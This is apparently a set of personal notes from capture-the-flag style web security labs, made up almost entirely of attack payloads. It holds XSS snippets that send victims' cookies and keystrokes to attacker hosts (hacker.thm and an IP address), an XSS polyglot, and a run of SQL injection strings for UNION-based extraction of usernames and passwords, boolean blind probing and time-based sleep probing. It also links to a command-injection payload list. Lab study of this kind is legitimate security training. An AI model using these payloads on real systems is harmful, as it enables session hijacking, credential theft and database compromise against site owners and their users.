Session stealing through cookie

```
> fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));
</script>"

</textarea><script>fetch('http://10.8.253.0:1423?cookie=' +
btoa(document.cookie) );</script>
x
Keylogger
> document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' +
btoa(e.key) );}</script>

xss polygot
> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM')
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-
-!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
```

sql injection

```
command injection payload link
(https://github.com/payloadbox/command-injection-payload-list)

database() => returns database name
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables
WHERE table_schema = 'database_name'

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>')
FROM staff_users


UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema =
'sqli_three' and table_name like 'a%';--


' OR 1=1;--  it returns true

blind sql boolean based

admin123' UNION SELECT 1,2,3 where database() like 's%';--  ==> checks if
the first letter of DB

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE
table_schema = 'sqli_three' and table_name like 'a%';--

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE
table_schema = 'sqli_three' and table_name='users';--

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE
TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%'
```

```
and COLUMN_NAME !='id'; ===> checking for table columns

admin123' UNION SELECT 1,2,3 from users where username like 'a%

admin123' UNION SELECT 1,2,3 from users where username='admin' and password
like 'a%

Time-Based Blind SQLi

using sleep
' union select sleep(3),3;--

' union select sleep(5),2 where database() like 'sqli_%';--
' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema
= 'sqli_' and table_name like 'a%';--


0   UNION ALL SELECT column_name,null,null,null,null FROM
information_schema.columns WHERE table_name="people"
```